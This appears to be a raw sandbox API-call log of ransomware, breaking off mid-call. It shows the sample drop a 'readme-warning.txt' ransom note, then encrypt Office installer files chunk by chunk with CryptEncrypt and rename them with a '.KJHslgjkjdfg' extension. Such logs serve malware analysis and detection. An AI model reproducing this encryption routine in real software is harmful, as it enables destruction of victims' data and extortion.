RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0133.734] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0133.734] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ec88 | out: pbData=0x2c1668, pdwDataLen=0x290ec88) returned 1 [0133.734] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.734] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0133.734] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0133.735] RegCloseKey (hKey=0x114) returned 0x0 [0133.735] GetProcessHeap () returned 0x2a0000 [0133.735] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0133.735] GetProcessHeap () returned 0x2a0000 [0133.735] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0133.735] GetProcessHeap () returned 0x2a0000 [0133.735] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0133.735] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0133.735] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ea5c | out: pbData=0x2c1668, pdwDataLen=0x290ea5c) returned 1 [0133.735] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.735] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0133.735] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0133.735] GetProcessHeap () returned 0x2a0000 [0133.735] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0133.736] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0133.736] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0133.736] GetProcessHeap () returned 0x2a0000 [0133.736] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f3698 [0133.736] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\readme-warning.txt") returned 90 [0133.736] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0133.736] WriteFile (in: hFile=0x114, lpBuffer=0x2f3698*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f3698*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0133.737] CloseHandle (hObject=0x114) returned 1 [0133.738] GetProcessHeap () returned 0x2a0000 [0133.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0133.738] GetProcessHeap () returned 0x2a0000 [0133.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f3698 | out: hHeap=0x2a0000) returned 1 [0133.738] GetProcessHeap () returned 0x2a0000 [0133.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0133.738] GetProcessHeap () returned 0x2a0000 [0133.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0133.738] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0133.738] GetProcessHeap () returned 0x2a0000 [0133.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d50 | out: hHeap=0x2a0000) returned 1 [0133.738] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0133.738] GetProcessHeap () returned 0x2a0000 [0133.738] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa0) returned 0x2ed148 [0133.738] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0133.738] GetProcessHeap () returned 0x2a0000 [0133.738] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0133.739] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0133.739] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0133.739] GetProcessHeap () returned 0x2a0000 [0133.739] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2a2) returned 0x2c7d50 [0133.739] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0133.741] GetFileSizeEx (in: hFile=0x114, lpFileSize=0x290f280 | out: lpFileSize=0x290f280*=13642474) returned 1 [0133.741] GetProcessHeap () returned 0x2a0000 [0133.741] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0133.741] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0133.741] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.741] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f26c*=0x6, lpOverlapped=0x0) returned 1 [0133.744] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0133.744] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.744] GetProcessHeap () returned 0x2a0000 [0133.744] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0133.744] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f250*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f250*=0x30) returned 1 [0133.744] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.744] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f26c*=0x30, lpOverlapped=0x0) returned 1 [0133.744] WriteFile (in: hFile=0x114, lpBuffer=0x290f274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f274*, lpNumberOfBytesWritten=0x290f26c*=0x4, lpOverlapped=0x0) returned 1 [0133.744] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f26c*=0x10, lpOverlapped=0x0) returned 1 [0133.744] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f26c*=0x80, lpOverlapped=0x0) returned 1 [0133.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0133.744] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f26c, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f26c*=0x8, lpOverlapped=0x0) returned 1 [0133.745] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f270 | out: phKey=0x290f270*=0x2c63a0) returned 1 [0133.745] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0133.745] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0133.752] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0133.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.757] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0133.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.758] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0133.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0133.758] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0133.764] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0133.767] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.767] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0133.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.769] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0133.769] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcc2af0, lpNewFilePointer=0x0, dwMoveMethod=0x290f240 | out: lpNewFilePointer=0x0) returned 1 [0133.769] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f234, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f234*=0x40000, lpOverlapped=0x0) returned 1 [0133.774] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f23c*=0x40000) returned 1 [0133.777] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcc2af0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.777] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f238*=0x40000, lpOverlapped=0x0) returned 1 [0133.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.778] WriteFile (in: hFile=0x114, lpBuffer=0x290f240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f238, lpOverlapped=0x0 | out: lpBuffer=0x290f240*, lpNumberOfBytesWritten=0x290f238*=0x8, lpOverlapped=0x0) returned 1 [0133.778] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0133.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd02bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.778] SetEndOfFile (hFile=0x114) returned 1 [0133.780] GetProcessHeap () returned 0x2a0000 [0133.780] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0133.780] GetProcessHeap () returned 0x2a0000 [0133.780] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0133.781] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.kjhslgjkjdfg")) returned 1 [0134.452] CloseHandle (hObject=0x114) returned 1 [0134.453] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0134.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0134.453] GetProcessHeap () returned 0x2a0000 [0134.453] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0134.453] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0134.453] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0134.453] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0134.453] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0134.453] GetProcessHeap () returned 0x2a0000 [0134.453] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0134.454] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0134.454] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.454] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0134.460] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0134.460] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0134.460] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0134.460] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0134.460] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0134.460] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0134.461] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0134.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.461] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd7200, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd7200, lpOverlapped=0x0) returned 1 [0134.475] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd7200, dwBufLen=0xd7200 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd7200) returned 1 [0134.489] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.489] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd7200, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd7200, lpOverlapped=0x0) returned 1 [0134.493] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.493] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd72c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.493] SetEndOfFile (hFile=0x114) returned 1 [0134.497] GetProcessHeap () returned 0x2a0000 [0134.497] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0134.497] GetProcessHeap () returned 0x2a0000 [0134.497] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0134.497] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.kjhslgjkjdfg")) returned 1 [0134.507] CloseHandle (hObject=0x114) returned 1 [0134.508] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0134.508] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0134.508] GetProcessHeap () returned 0x2a0000 [0134.508] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0134.508] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0134.508] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0134.508] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0134.543] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0134.544] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0134.544] GetProcessHeap () returned 0x2a0000 [0134.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0134.544] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0134.544] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0134.544] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0134.544] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0134.544] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0134.544] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, 